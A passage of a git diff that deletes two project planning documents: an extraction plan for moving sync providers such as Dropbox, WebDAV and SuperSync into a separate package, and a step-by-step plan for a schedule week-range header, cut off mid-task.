`SyncProviderId` enum. -- Credential storage is an interface. -- HTTP should use `fetch` or an injected HTTP port, not Angular `HttpClient`. -- Provider package must not import `@sp/sync-core` internals beyond public - ports/types. - -### First Slice - -- `packages/sync-providers/` mirrors the `sync-core` package scaffolding: - `package.json`, tsup build, Vitest config, strict package `tsconfig`, and a - package-local `.gitignore` for generated artifacts. -- Root wiring is in place: `sync-providers:build`, - `sync-providers:test`, the `packages:test` aggregate used by root - `npm test`, `build-packages.js`, `prepare`, the `@sp/sync-providers` path - alias, package-lock workspace metadata, and Angular lint coverage. -- Boundary lint rejects Angular, NgRx, app source imports, `@sp/shared-schema`, - sync-core internals, and dynamic imports under `packages/sync-providers/**`. -- Provider-neutral type contracts moved first. App-owned `SyncProviderId`, - provider constants, OAuth routing, config UI, and the IndexedDB credential - store implementation remain app-side. -- `SyncCredentialStore` now implements the package - `SyncCredentialStorePort`, while `src/app/op-log/sync-providers/` keeps - shims so existing call sites keep their imports. - -### Second Slice - -- `FileBasedSyncData`, `SyncFileCompactOp`, and - `FILE_BASED_SYNC_CONSTANTS` moved into `@sp/sync-providers`. -- The package contracts stay host-agnostic by accepting generic state, - compact-operation, and archive payload types. -- `src/app/op-log/sync-providers/file-based/file-based-sync.types.ts` remains - the compatibility shim that binds the package envelope to app-owned - `CompactOperation` and `ArchiveModel`. - -### Third Slice - -- Provider-owned PKCE utilities moved into `@sp/sync-providers`: - `generateCodeVerifier`, `generateCodeChallenge`, and `generatePKCECodes`. -- The implementation keeps the existing browser WebCrypto behavior and the - `hash-wasm` fallback needed when `crypto.subtle` is unavailable. -- `src/app/op-log/sync-providers/file-based/dropbox/generate-pkce-codes.ts` - remains as a compatibility re-export for existing Dropbox call sites. - -### Fourth Slice - -- Provider-owned native HTTP retry helpers moved into `@sp/sync-providers`: - `executeNativeRequestWithRetry`, `isTransientNetworkError`, and the - `NativeHttpExecutor` / `NativeHttpRequestConfig` / `NativeHttpResponse` - contracts. -- The package version is platform-agnostic: callers inject a - `NativeHttpExecutor` (CapacitorHttp on Android, fetch on web/Electron, a - test double in unit tests) and an optional `SyncLogger` from - `@sp/sync-core`. Retry policy (2 attempts, 1s/2s backoff, transient - network errors only) is preserved. -- Retry log entries flow as safe `SyncLogMeta` primitives (url, attempt, - errorName, errorCode) rather than raw error objects, aligning with the - package's privacy-aware logger contract. -- `src/app/op-log/sync-providers/native-http-retry.ts` remains as the - app-side adapter that wires `CapacitorHttp` and `OP_LOG_SYNC_LOGGER` - through to the package helper so existing Dropbox and SuperSync callers - keep working unchanged. -- The full Dropbox and WebDAV provider moves were deferred from this - slice because their dependency surface (provider error classes, - per-platform fetch hacks, `tryCatchInlineAsync`, Capacitor plugin - registration, OAuth glue) needs additional package ports that should - be designed and reviewed in their own slice. Updated plan below. - -### Fifth Slice - -Shipped as two commits behind a shared design doc -(`docs/plans/2026-05-12-pr5-dropbox-slice.md`) plus a post-review -cleanup pass: - -- **Dropbox slice A — provider error classes.** Twelve provider-shared error - classes (`AuthFailSPError`, `InvalidDataSPError`, - `HttpNotOkAPIError`, `NoRevAPIError`, `RemoteFileNotFoundAPIError`, - `MissingCredentialsSPError`, `MissingRefreshTokenAPIError`, - `TooManyRequestsAPIError`, `UploadRevToMatchMismatchAPIError`, - `PotentialCorsError`, `RemoteFileChangedUnexpectedly`, - `EmptyRemoteBodySPError`) plus `AdditionalLogErrorBase` and - `extractErrorMessage` moved into `@sp/sync-providers`. App-side - `sync-errors.ts` is now a re-export shim so existing call sites and - `instanceof` catches keep working; a co-located identity spec - asserts constructor identity across import paths so future bundler - or tsconfig drift can't silently break the catches. -- `AdditionalLogErrorBase` lost its constructor-time - `OP_LOG_SYNC_LOGGER.log` side effect (Option A from the design - doc): privacy responsibility shifts entirely onto catch-site - logging via the injected `SyncLogger` port. -- `HttpNotOkAPIError` split its parsed body excerpt off `.message` - onto a new opt-in `.detail` field; `getErrorTxt` forwards - `.detail` to UI surfaces, so user-visible toasts remain unchanged - while privacy-aware logger paths see only "HTTP `` - ``". `TooManyRequestsAPIError`'s constructor was - narrowed to `{ status, retryAfter?, path? }`, closing a latent - bearer-token leak where Dropbox's `_handleErrorResponse` had - passed raw `Authorization` headers through `additionalLog`. -- Package gained `"sideEffects": false` so consumers that only - import error classes can tree-shake through the barrel. -- **Dropbox slice B — Dropbox provider proper.** `Dropbox`, `DropboxApi`, and - `DropboxFileMetadata` moved into - `packages/sync-providers/src/file-based/dropbox/` behind three new - injected ports: - - `ProviderPlatformInfo` — readonly booleans `{ isNativePlatform, -isAndroidWebView, isIosNative }` replacing direct - `Capacitor.isNativePlatform` / `IS_IOS_NATIVE` reads inside the - provider. - - `WebFetchFactory` — callable type `() => fetch`; lazy - resolution preserves the iOS workaround where Capacitor - patches `window.fetch` asynchronously. - - `NativeHttpExecutor` (from slice 4) gained a `maxRetries` - option so `getTokensFromAuthCode` can share the regular retry - helper while still being one-shot for one-time auth-code - exchanges. -- App-side `dropbox.ts` collapsed to a 38-line factory function - `createDropboxProvider(deps)` that wires `OP_LOG_SYNC_LOGGER`, - `APP_PROVIDER_PLATFORM_INFO`, `APP_WEB_FETCH`, - `SyncCredentialStore`, and `CapacitorHttp.request` into - `DropboxDeps` and returns the package `Dropbox` class directly. - `sync-providers.factory.ts` was updated to call the factory. -- Privacy work folded in alongside the move: malformed-download - raw `r.data` no longer logged; every - `SyncLog.critical(..., e)` catch-site replaced with structured - `toSyncLogError(e)` + curated `SyncLogMeta`; URLs scrubbed to - host + pathname; error constructors receive relative - `targetPath`, never the joined `basePath + targetPath`; and - `AuthFailSPError` no longer carries raw `responseData`. -- Native-platform routing specs that were previously skipped under - Jasmine (`Capacitor.request` un-mockable) are now un-skipped - under Vitest with the injected `NativeHttpExecutor` mock. Package - spec count went from 70 to 103. `tryCatchInlineAsync` was deleted - (the sole consumer inlined a defensive `response.json().catch(...)` - instead) and `src/app/imex/sync/dropbox/dropbox.model.ts` was - deleted (no other consumers of `DropboxFileMetadata`). -- **Post-review cleanups.** Round-2 multi-review surfaced four - follow-ups: dropped a dead `export type { NativeHttpResponse }` - from the Dropbox module (the package barrel already re-exports - it); replaced a hand-rolled `encodeFormBody` helper with - `URLSearchParams` (fetch path passes it as `BodyInit`, native - path uses `.toString()`); converted the runtime `_idCheck` - constant in the app shim into a pure-type `AssertDropboxId` - conditional alias; inlined the redundant - `_executeNativeRequestWithRetry` private wrapper on - `DropboxApi`; and dropped the now-unnecessary `as unknown as` - step on the `credentialStore` cast in the factory shim. - -WebDAV follow-up resolved: `errorMeta(e, extra)` and `urlPathOnly(url)` were -promoted into shared provider logging helpers before WebDAV duplicated them. - -### Sixth Slice - -Shipped as two commits (one helper-promotion PR plus the bulk move) behind -a shared design doc (`docs/plans/2026-05-12-pr5-webdav-slice.md`) with -multi-review consensus, followed by tightening commits that fold -post-review findings: - -- **WebDAV slice A — shared log helpers.** Promoted `errorMeta(e, extra)` and - `urlPathOnly(url)` from `dropbox-api.ts:88-104` into - `packages/sync-providers/src/log/error-meta.ts` so WebDAV could adopt - them without copy-paste. Exported from the package barrel. Dropbox - imports updated. No behavior change. -- **WebDAV slice B — WebDAV + Nextcloud provider proper.** `webdav-base-provider.ts`, - `webdav-api.ts`, `webdav-xml-parser.ts`, `webdav-http-adapter.ts`, - `webdav.const.ts`, `webdav.model.ts`, `webdav.ts`, `nextcloud.ts`, and - `nextcloud.model.ts` (plus their co-located specs) moved into - `packages/sync-providers/src/file-based/webdav/`. Specs converted from - Jasmine to Vitest. `SyncProviderId.WebDAV` / `SyncProviderId.Nextcloud` - replaced inside the package with `PROVIDER_ID_WEBDAV` / - `PROVIDER_ID_NEXTCLOUD` constants, with type-level `AssertWebdavId` / - `AssertNextcloudId` bridges in the app-side shims (mirroring the - Dropbox pattern). -- **Port reuse, not duplication.** Multi-review consensus rejected the - initially-proposed `WebDavNativeHttpExecutor` port. The existing - `NativeHttpExecutor` already supports arbitrary methods (`PROPFIND`, - `MKCOL`, `MOVE`, …), `responseType: 'text'`, and `maxRetries: 0`. App-side - wires `APP_WEBDAV_NATIVE_HTTP: NativeHttpExecutor` adapter pointing at - the existing `WebDavHttp` Capacitor plugin registration in - `capacitor-webdav-http/`. The inline `registerPlugin` duplication in - `webdav-http-adapter.ts:13-31` was dropped — the subfolder - registration with `web: () => import('./web')` fallback is canonical. -- **Factory shape mirrors Dropbox.** App-side `webdav.ts` / `nextcloud.ts` - collapsed to `createWebdavProvider(extraPath?: string)` / - `createNextcloudProvider(extraPath?: string)` factory functions that - compose `deps` internally from app singletons - (`APP_PROVIDER_PLATFORM_INFO`, `APP_WEB_FETCH`, `OP_LOG_SYNC_LOGGER`, - `SyncCredentialStore`, `APP_WEBDAV_NATIVE_HTTP`). External callers - pass app-level config (`extraPath`), not the internal deps bag. -- **Nextcloud generic widened.** `WebdavBaseProvider`'s generic narrowed - to `T extends typeof PROVIDER_ID_WEBDAV` widened to `T extends typeof -PROVIDER_ID_WEBDAV | typeof PROVIDER_ID_NEXTCLOUD`. Four - `as unknown as SyncProviderId.WebDAV` double-casts deleted. -- **`md5HashSync` migrated to `hash-wasm` async.** `WebdavApi._computeContentHash` - became `async`; ripple touched ~5 spec call sites. `spark-md5` no - longer appears in the package surface. The later LocalFile slice also - migrated its rev hashing to `hash-wasm` and removed the app-side - `spark-md5` helper/dependency. -- **CORS heuristic tightened.** `webdav-http-adapter.ts:180-219` collapsed - to a ~3-line check (`error instanceof TypeError && -error.message.includes('cors')`). Ambiguous-error log path that - leaked the raw URL via `error.message` replaced with structured - `toSyncLogError(error)` + `urlPathOnly(options.url)` meta. ~40 lines - deleted, one privacy leak closed. A follow-up commit - (`refactor(sync-providers): broaden WebDAV CORS heuristic for real -browsers`, W2) restored "Failed to fetch" / "NetworkError" / - "Load failed" pattern coverage that browsers other than Firefox use - for CORS rejections — still gated on `TypeError` and through the - same structured-log surface. -- **`testWebdavConnection` helper extraction.** Test-connection path - (`webdav-api.ts:355-380`) moved into a standalone - `packages/sync-providers/src/file-based/webdav/test-connection.ts` - helper so the adapter and api shims could drop from the package - barrel. App-side `WebDAV` provider, config UI, and connection-test - command call the helper directly. -- **No-retry behavior preserved.** Multi-review consensus rejected the - Gemini-only recommendation to add a 2-attempt / 1s+2s retry policy - with 423-Locked handling. WebDAV's stateful methods (LOCK/UNLOCK) - and conditional writes (412 Precondition Failed) have semantics that - differ from Dropbox's idempotent file API; preserving the existing - no-retry behavior keeps the slice scope a refactor. Trivially - addable later as a per-call-site `maxRetries` argument on the - reused `NativeHttpExecutor` port. -- **Spec count delta.** Package spec count went from 103 (post Dropbox slice B) - to 177. WebDAV slice B added 53 webdav specs (Jasmine → Vitest one-to-one - move). - Two follow-up commits added 13 namespace/server-format specs (the - `getElementsByTagNameNS('*', name)` PROPFIND parsing path, - `:href` variants, server-format compatibility — `restore WebDAV -parser namespace + server-format specs`, W4) and 7 CORS specs - (`broaden WebDAV CORS heuristic for real browsers`, W2). Plus one - refactor moving `@xmldom/xmldom` to `devDependencies` and adopting - the global `DOMParser` at runtime (`@xmldom/xmldom to devDeps + -global DOMParser`, W3) so xmldom does not ship in the package bundle - (`grep -c xmldom dist/index.mjs` returns 0). -- **Privacy sweep.** Applied the same A1/A3/B3.x audit as Dropbox plus - three sites the security reviewer surfaced. `webdav-api.ts:73, 111, -151, 261, 329, 372` and `webdav-base-provider.ts:83, 109, 124, 130` - all moved from `SyncLog.critical(..., e)` to `errorMeta(e)` plus - curated `SyncLogMeta`. Full-URL `_buildFullPath` results scrubbed - via `urlPathOnly` at every error-construction and log site. - `testConnection`'s raw `e.message` return narrowed via - `toSyncLogError(e).message`. `_buildFullPath`'s generic - `Error('Invalid path: ${path}')` replaced with `InvalidDataSPError` - with scrubbed path. PROPFIND multistatus bodies no longer fed into - `HttpNotOkAPIError`'s second arg. Package boundary invariant - documented: response headers are not logged or attached to errors. -- **Bundle size.** Package CJS now 75.77 KB / ESM 73.23 KB / DTS - 37.13 KB. Up from ~55 KB pre-slice. The single barrel was still fine at that - point; the tiered split (`@sp/sync-providers/dropbox`, `/webdav`, ...) is now - complete in the post-provider-lift polish. -- **WebDAV parser follow-up.** Repeated - `getElementsByTagNameNS('*', name)` subtree walks in - `webdav-xml-parser.ts` were replaced with one `childNodes`/`localName` - document scan for response discovery plus direct-child scans for field - extraction. This keeps mixed-prefix WebDAV compatibility while avoiding - repeated response-subtree walks and preventing nested extension fields from - shadowing direct WebDAV children. - -### Seventh Slice - -Shipped behind the shared design doc -(`docs/plans/2026-05-12-pr7-super-sync-slice.md`) with multi-review -consensus, then tightened by follow-up commits from review findings: - -- **SuperSync slice A - retryable upload helper.** Promoted the broad-pattern - operation-upload retry predicate from - `src/app/op-log/sync/sync-error-utils.ts` into - `packages/sync-providers/src/http/retryable-upload-error.ts` as - `isRetryableUploadError`. The app-side `sync-error-utils.ts` now - re-exports it as `isTransientNetworkError` so - `operation-log-upload.service.ts` kept its import surface unchanged. - This helper remains distinct from the native-code-aware - `isTransientNetworkError` in `native-http-retry.ts`. -- **SuperSync slice B - SuperSync provider proper.** `super-sync.ts`, - `super-sync.model.ts`, and the SuperSync provider spec moved into - `packages/sync-providers/src/super-sync/`. The spec was converted - from Jasmine to Vitest. `SyncProviderId.SuperSync` was replaced in - the package by `PROVIDER_ID_SUPER_SYNC`, with the app-side - `AssertSuperSyncId` bridge matching the Dropbox/WebDAV pattern. -- **App-side composition stayed thin.** `src/app/op-log/sync-providers/super-sync/super-sync.ts` - now exports `createSuperSyncProvider()` with no `extraPath` argument - (SuperSync has no file base-path concept). The factory wires - `OP_LOG_SYNC_LOGGER`, `APP_PROVIDER_PLATFORM_INFO`, `APP_WEB_FETCH`, - `SyncCredentialStore`, `CapacitorHttp.request`, `SuperSyncStorage`, - and the app response validators into `SuperSyncDeps`. -- **Response validators remain app-side.** `response-validators.ts` - still imports `@sp/shared-schema`, so it stays under `src/app` and is - injected through the package's `SuperSyncResponseValidators` port. - The package owns the response _types_ only. -- **Narrow SuperSync storage port.** `localStorage` access for - `lastServerSeq` moved behind `SuperSyncStorage`, while the package - still owns the `super_sync_last_server_seq_` prefix and the - per-server/per-token hash key. `_cachedServerSeqKey` is explicitly - reset on `setPrivateCfg` to preserve account/server isolation. -- **Transport and compression ports reused.** SuperSync now uses the - existing `SyncLogger`, `ProviderPlatformInfo`, `WebFetchFactory`, - `NativeHttpExecutor`, and `SyncCredentialStorePort` ports. Web uploads - use `WebFetchFactory`; native uploads preserve the base64-gzip - `CapacitorHttp` path for Android WebView/iOS binary-body safety. - Compression imports directly from `@sp/sync-core`. -- **Privacy sweep.** The move folded in the SuperSync-specific privacy - blockers from the design doc: `AuthFailSPError` no longer retains raw - response bodies in `additionalLog`; transient native request errors - throw a fixed user-facing message without interpolating raw native - messages; web timeout messages no longer include the request path; - server `error` reasons are capped at 80 chars; non-retryable foreign - native errors are surfaced by error name only; logger catch paths use - safe error name/code metadata rather than raw error objects. -- **Idempotency and retry hardening.** Ops upload `requestId` generation - was ported and hardened: it is deterministic over the logical ops - batch, stable across JSON key ordering and encrypted payload IV - changes, but changes when unencrypted payload content changes. A - post-review fix broadened `isRetryableUploadError` for `429`, "too - many requests", "rate limit", and "retry in ..." messages so - full-state uploads (`SYNC_IMPORT`, `BACKUP_IMPORT`, `REPAIR`) are left - pending instead of permanently rejected under SuperSync rate limiting. -- **Spec count delta.** Package spec count is now 278 after the - SuperSync move and rate-limit hardening. The SuperSync provider spec - remains intentionally monolithic; splitting it into themed files is outside - this extraction because the Jasmine -> Vitest conversion is easier to review - in one move. -- **Bundle size.** Package build after the SuperSync slice is roughly - CJS 99.56 KB / ESM 96.76 KB / DTS 47.18 KB. Tiered exports are now present - for provider and helper surfaces (`@sp/sync-providers/dropbox`, `/webdav`, - `/super-sync`, `/local-file`, `/http`, `/errors`, `/file-based`, `/pkce`, - `/platform`, `/provider-types`, and `/credential-store`) while the root - barrel stays available for compatibility. - -### Eighth Slice - -Shipped the LocalFile final slice: - -- `LocalFileSyncBase`, `LocalFileSyncElectron`, - `LocalFileSyncAndroid`, `LocalFileSyncPrivateCfg`, and - `PROVIDER_ID_LOCAL_FILE` now live in - `packages/sync-providers/src/file-based/local-file/`. -- LocalFile provider behavior is package-owned, but Electron and Android - platform bridges stay app-side: - - Electron file operations still go through the app's - `ElectronFileAdapter` and `window.ea` bridge. - - Android SAF operations still go through `SafService` / - `SafFileAdapter`. - - App factory shims (`createLocalFileSyncElectron` / - `createLocalFileSyncAndroid`) inject those bridges plus - `SyncCredentialStore` and `OP_LOG_SYNC_LOGGER` into the package - classes. The dead app-side abstract base shim and duplicate spec were - removed. -- LocalFile rev hashing now uses `hash-wasm` directly in the package, - matching the WebDAV move. The unused app-side `src/app/util/md5-hash.ts`, - `spark-md5` dependency, lockfile entry, and Angular CommonJS allowance - were removed. -- `FileHashCreationAPIError` moved into `@sp/sync-providers` with the - other provider-shared errors. The app error module re-exports it so - cross-import `instanceof` identity remains guarded. -- Package LocalFile Vitest coverage was added for the base file provider, - Electron folder-picker/path logic, and Android SAF permission/setup - logic. The remaining app-side Jasmine spec continues to cover the - Electron compatibility shim. - -### Final Slice State - -PR 5 and PR 6 final boundary hardening are complete for this branch: - -- Boundary rules were rechecked with direct ESLint on - `packages/sync-core/**/*.ts` and `packages/sync-providers/**/*.ts`; the - forbidden-import grep for Angular, NgRx, `src/app`, `@sp/shared-schema`, and - sync-core deep imports returned no source matches. -- Manifest/runtime dependency audit: `@sp/sync-core` has no runtime - dependencies and now declares `"sideEffects": false`; `@sp/sync-providers` - runtime deps remain limited to public `@sp/sync-core` plus `hash-wasm`, with - `@xmldom/xmldom` test-only in `devDependencies`. -- Public barrel audit: `@sp/sync-providers` exports provider classes, - provider-owned string constants, contracts, ports, and shared helpers, but no - app-owned `SyncProviderId`, provider lists, OAuth routing, UI config, storage - prefixes, or `@sp/shared-schema` validators. `@sp/sync-core` still carries - the explicitly-deprecated full-state op compatibility exports and - host-defined `OpType.SyncImport` / `BackupImport` / `Repair` strings noted - above; reusable hosts should use `createFullStateOpTypeHelpers()` instead of - those defaults. Tiered provider exports are now present for focused consumer - imports. -- Added `docs/sync-and-op-log/package-boundaries.md`, linked it from the sync - docs README, and recorded the boundary direction in `ARCHITECTURE-DECISIONS.md`. - -Selected provider E2E smoke tests remain merge-level verification outside this -extraction slice. - -### Verification - -- Per-provider unit specs. -- E2E sync round-trip per provider: Dropbox, WebDAV, LocalFile, SuperSync. -- Fresh-client bootstrap for file-based providers. -- Electron-gated LocalFile path smoke test. - ---- - -## PR 6 - Final Boundary Hardening - -This is now a final audit rather than the first boundary rule. - -### Goals - -- Recheck the boundary rules for `packages/sync-core/**` and - `packages/sync-providers/**`. -- Audit package manifests for accidental runtime deps. -- Audit public exports for SP names and app-only concepts. -- Add a small architecture note that explains the package boundaries and allowed - dependency direction. - -### Implemented State - -Status: implemented for this branch. - -- `docs/sync-and-op-log/package-boundaries.md` documents the allowed dependency - direction: app composition may consume both packages, - `@sp/sync-providers` may consume only public `@sp/sync-core`, and - `@sp/sync-core` stays independent of Angular, NgRx, app code, - `@sp/shared-schema`, and provider implementations. -- `docs/sync-and-op-log/README.md` now points to the package-boundary note and - its key-file section reflects the current package/app split rather than the - pre-extraction app-local provider layout. -- `ARCHITECTURE-DECISIONS.md` records the package boundary direction as an - active architectural decision. -- `packages/sync-core/package.json` now declares `"sideEffects": false`, - matching `@sp/sync-providers` and the package's no-runtime-side-effect - surface. -- Manifest and public-export audit found no app-owned provider enums, provider - lists, storage prefixes, OAuth routing, UI config, shared-schema validators, - or sync-core deep imports in package public APIs. The known exception remains - the deprecated `@sp/sync-core` full-state op compatibility exports plus the - host-defined `OpType.SyncImport` / `BackupImport` / `Repair` strings retained - for existing consumers. - -### Verification - -- `npm ci` completed, including the prepare-time builds for sync-core, - sync-providers, shared-schema, and plugin-api. -- `npx eslint "packages/sync-core/**/*.ts" "packages/sync-providers/**/*.ts"` - passed. -- `npm run lint` passed. -- Boundary grep for both packages returned no forbidden source imports. -- `npm run sync-core:build` passed. -- `npm run sync-providers:build` passed. -- Local run on May 13, 2026: `npm run packages:test` passed with sync-core 156 - tests and sync-providers 302 tests. -- Full app unit tests passed in the PR 7 verification below; selected sync E2E - remain merge-level verification as needed. - ---- - -## Optional Polish (Post-Provider Lift) - -Status: implemented for this branch. - -Non-blocking cleanups surfaced during the PR 5 provider lift. These do not -change behaviour or boundaries; they remove duplication, tighten tests, and -retire deprecated aliases after consumers have migrated. - -### Implemented State - -- PKCE is package-owned: app OAuth code imports `generateCodeVerifier` and - `generateCodeChallenge` from `@sp/sync-providers/pkce`, and the app-local - `pkce.util` shim/spec/helper were removed. -- The dead `_length` parameter was removed from `generatePKCECodes()`, and the - Dropbox call site now uses the zero-argument helper. -- Package PKCE tests now assert the exact 43-character verifier length produced - by the default 32 random bytes. -- The deprecated `SyncProviderServiceInterface` alias was removed. File-provider - references now use `FileSyncProvider`, and generic/operation-capable provider - references now use `SyncProviderBase` plus `OperationSyncCapable` where - needed. -- The `packages/sync-providers/**` ESLint boundary override no longer repeats - relative sync-core/shared-schema pattern depths already covered by the - `**/...` forms. -- WebDAV XML parsing now uses namespace-agnostic `childNodes`/`localName` - scans instead of repeated `getElementsByTagNameNS()` subtree walks. A package - spec covers mixed-prefix parsing and direct WebDAV child precedence over - nested extension fields. -- Tiered `@sp/sync-providers/*` package exports were added, and frontend app - imports now use focused subpaths instead of the root provider barrel. The - unused app-side SuperSync model and LocalFile file-adapter re-export shims - were removed. - -### Verification - -- `npm run packages:test` passed with sync-core 156 tests and sync-providers - 303 tests. -- `npm run sync-core:build` passed. -- `npm run sync-providers:build` passed. -- `npm test` passed, including the full Karma run and the Los Angeles timezone - run. -- `npm run lint` passed. -- Source grep for `pkce.util` and `SyncProviderServiceInterface` returned zero - hits under `src` and `packages`. - ---- - -## Completed Timeline - -| PR | Scope | Risk | Notes | -| ------ | ---------------------------------------------------------- | ----------- | ------------------------- | -| **1** | Stand up `@sp/sync-core` with generic primitives and stubs | Low | Complete | -| **2** | Boundary lint, registry types, privacy-aware logger port | Medium | Complete | -| **3a** | Vector-clock ownership and package test harness | Medium | Complete | -| **3b** | Pure algorithmic core | Medium | Complete | -| **4a** | Port contracts only | Medium | Complete | -| **4b** | Move small orchestration units behind ports | High | Complete | -| **4c** | Revisit `OperationApplierService` extraction | High | Narrow replay coordinator | -| **5** | Lift providers into `@sp/sync-providers` | Medium-High | Complete | -| **6** | Final boundary hardening and architecture note | Low | Complete | -| **7** | Optional polish and tiered provider exports | Low | Complete | - -After the final PR, `@sp/sync-core` is the domain-agnostic sync engine and -abstractions, `@sp/sync-providers` contains bundled provider implementations, -and `src/app/op-log/` contains SP-specific wiring: NgRx adapters, dialog ports, -entity-registry composition, `ActionType`, `EntityType`, `SyncImportReason`, -`SyncProviderId`, repair shapes, and full-state wire format. diff --git a/docs/plans/2026-04-21-schedule-week-range-header.md b/docs/plans/2026-04-21-schedule-week-range-header.md deleted file mode 100644 index e3720177cb..0000000000 --- a/docs/plans/2026-04-21-schedule-week-range-header.md +++ /dev/null @@ -1,561 +0,0 @@ -# Schedule Header Week Range Implementation Plan - -> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task. - -**Goal:** Add a `Week N · Apr 20 – Apr 26` / `April 2026` title to the schedule nav, snap the week view to calendar-aligned weeks, move the "Today" action to an icon button on the left, and flatten the nav row so it blends with the sticky header. - -**Architecture:** Single `headerTitle` computed signal in `ScheduleComponent` drives the label for both views. `getDaysToShow` in `ScheduleService` gains a `firstDayOfWeek` parameter and snaps the start to the preceding first-day-of-week. ISO week number via existing `getWeekNumber` util. Separate month-header inside `schedule-month.component` is deleted — shared nav owns the label. - -**Tech Stack:** Angular standalone components, Angular signals, `localeDate` pipe, `ngx-translate`. - ---- - -## Task 1: Add translation keys (WEEK_LABEL, TODAY) - -**Files:** -- Modify: `src/assets/i18n/en.json` (insert within the `F.SCHEDULE` block, around line 960-975) -- Modify: `src/app/t.const.ts` (insert within `F.SCHEDULE`, around lines 981-990) - -**Step 1:** Add two keys to `en.json` under `F.SCHEDULE`. Preserve alphabetical order within the block. - -```json -"TODAY": "Today", -"WEEK_LABEL": "Week {{nr}}" -``` - -The resulting block (around lines 965-975) should look like: - -```json -"END": "Work End", -"INSERT_BEFORE": "Before", -"LUNCH_BREAK": "Lunch Break", -"MONTH": "Month", -"NO_TASKS": "...", -"NOW": "Now", -"PLAN_END_DAY": "End of {{date}}", -"PLAN_START_DAY": "Start of {{date}}", -"SHIFT_KEY_INFO": "Hold Shift to toggle day planning mode", -"START": "Work Start", -"TODAY": "Today", -"WEEK_LABEL": "Week {{nr}}" -``` - -**Step 2:** Add matching entries in `t.const.ts` under the `SCHEDULE` object (alphabetical): - -```ts -TODAY: 'F.SCHEDULE.TODAY', -WEEK_LABEL: 'F.SCHEDULE.WEEK_LABEL', -``` - -**Step 3:** Verify: - -```bash -npm run checkFile src/app/t.const.ts -``` - -**Step 4:** Commit: - -```bash -git add src/assets/i18n/en.json src/app/t.const.ts -git commit -m "feat(schedule): add i18n keys for week-label and today button" -``` - ---- - -## Task 2: Snap week view to calendar-aligned week in `getDaysToShow` - -**Files:** -- Modify: `src/app/features/schedule/schedule.service.ts:143-151` -- Modify: `src/app/features/schedule/schedule.service.spec.ts:52-139` - -**Step 1: Update the failing tests first** (TDD). Edit `schedule.service.spec.ts` — replace the existing `describe('getDaysToShow', …)` block (lines 52-140) with the new snapping expectations: - -```ts -describe('getDaysToShow', () => { - it('should return the requested number of days', () => { - const result = service.getDaysToShow(5, null, 1); - expect(result.length).toBe(5); - }); - - it('should snap 7-day range to start on firstDayOfWeek (Monday)', () => { - // Wed Jun 17, 2026 is a Wednesday → snapped start Mon Jun 15 - const referenceDate = new Date(2026, 5, 17); - const result = service.getDaysToShow(7, referenceDate, 1); - expect(result.length).toBe(7); - const [y, m, d] = result[0].split('-').map(Number); - expect(new Date(y, m - 1, d).getDay()).toBe(1); // Monday - }); - - it('should snap 7-day range to start on firstDayOfWeek (Sunday)', () => { - const referenceDate = new Date(2026, 5, 17); // Wed - const result = service.getDaysToShow(7, referenceDate, 0); - const [y, m, d] = result[0].split('-').map(Number); - expect(new Date(y, m - 1, d).getDay()).toBe(0); // Sunday - }); - - it('should not snap when day count is less than 7', () => { - // Responsive mobile mode shows fewer days; keep current behavior - const referenceDate = new Date(2028, 5, 15); - const result = service.getDaysToShow(3, referenceDate, 1); - const expectedFirstDay = dateService.todayStr(referenceDate.getTime()); - expect(result[0]).toBe(expectedFirstDay); - expect(result.length).toBe(3); - }); - - it('should return consecutive days', () => { - const result = service.getDaysToShow(7, new Date(2028, 0, 20), 1); - for (let i = 0; i < result.length - 1; i++) { - const cur = new Date(result[i]); - const nxt = new Date(result[i + 1]); - expect((nxt.getTime() - cur.getTime()) / 86_400_000).toBe(1); - } - }); - - it('should use today when referenceDate is null', () => { - const result = service.getDaysToShow(3, null, 1); - expect(result[0]).toBe(dateService.todayStr()); - }); -}); -``` - -**Step 2: Run the test** (should fail because signature/behavior mismatch): - -```bash -npm run test:file src/app/features/schedule/schedule.service.spec.ts -``` -Expected: compile errors or assertion failures referencing `getDaysToShow`. - -**Step 3: Update the implementation** in `schedule.service.ts`: - -```ts -getDaysToShow( - nrOfDaysToShow: number, - referenceDate: Date | null = null, - firstDayOfWeek: number = 0, -): string[] { - const baseTime = referenceDate ? referenceDate.getTime() : Date.now(); - let startTime = baseTime; - - // Snap to start of week only when showing a full 7-day week - if (nrOfDaysToShow === 7) { - const base = new Date(baseTime); - base.setHours(0, 0, 0, 0); - const daysToGoBack = (base.getDay() - firstDayOfWeek + 7) % 7; - base.setDate(base.getDate() - daysToGoBack); - startTime = base.getTime(); - } - - const daysToShow: string[] = []; - for (let i = 0; i < nrOfDaysToShow; i++) { - daysToShow.push(this._dateService.todayStr(startTime + i * 24 * 60 * 60 * 1000)); - } - return daysToShow; -} -``` - -**Step 4:** Update the call site in `schedule.component.ts:142`: - -```ts -return this.scheduleService.getDaysToShow(count, selectedDate, this.firstDayOfWeek()); -``` - -**Step 5: Run tests:** - -```bash -npm run test:file src/app/features/schedule/schedule.service.spec.ts -npm run checkFile src/app/features/schedule/schedule.service.ts -``` -Expected: PASS on both. - -**Step 6: Commit:** - -```bash -git add src/app/features/schedule/schedule.service.ts src/app/features/schedule/schedule.service.spec.ts src/app/features/schedule/schedule/schedule.component.ts -git commit -m "feat(schedule): snap week view to calendar-aligned week" -``` - ---- - -## Task 3: Update `isViewingToday` semantics in `ScheduleComponent` - -**Files:** -- Modify: `src/app/features/schedule/schedule/schedule.component.ts:69-79` -- Modify: `src/app/features/schedule/schedule/schedule.component.spec.ts:167-202` - -**Step 1: Update the failing tests** — replace the `describe('isViewingToday …')` block: - -```ts -describe('isViewingToday computed', () => { - it('should return true when _selectedDate is null', () => { - component['_selectedDate'].set(null); - expect(component.isViewingToday()).toBe(true); - }); - - it('should return true when the displayed range contains today', () => { - // Mock today = 2026-01-20 (Tue). Week-aligned (Mon) → Jan 19-25 - const insideSameWeek = new Date(2026, 0, 22); // Thu same week - component['_selectedDate'].set(insideSameWeek); - expect(component.isViewingToday()).toBe(true); - }); - - it('should return false when viewing a future week', () => { - component['_selectedDate'].set(new Date(2026, 0, 27)); - expect(component.isViewingToday()).toBe(false); - }); - - it('should return false when viewing a past week', () => { - component['_selectedDate'].set(new Date(2026, 0, 13)); - expect(component.isViewingToday()).toBe(false); - }); -}); -``` - -**Step 2: Run** — expect failures on the "displayed range contains today" case: - -```bash -npm run test:file src/app/features/schedule/schedule/schedule.component.spec.ts -``` - -**Step 3: Update the implementation** of `isViewingToday`: 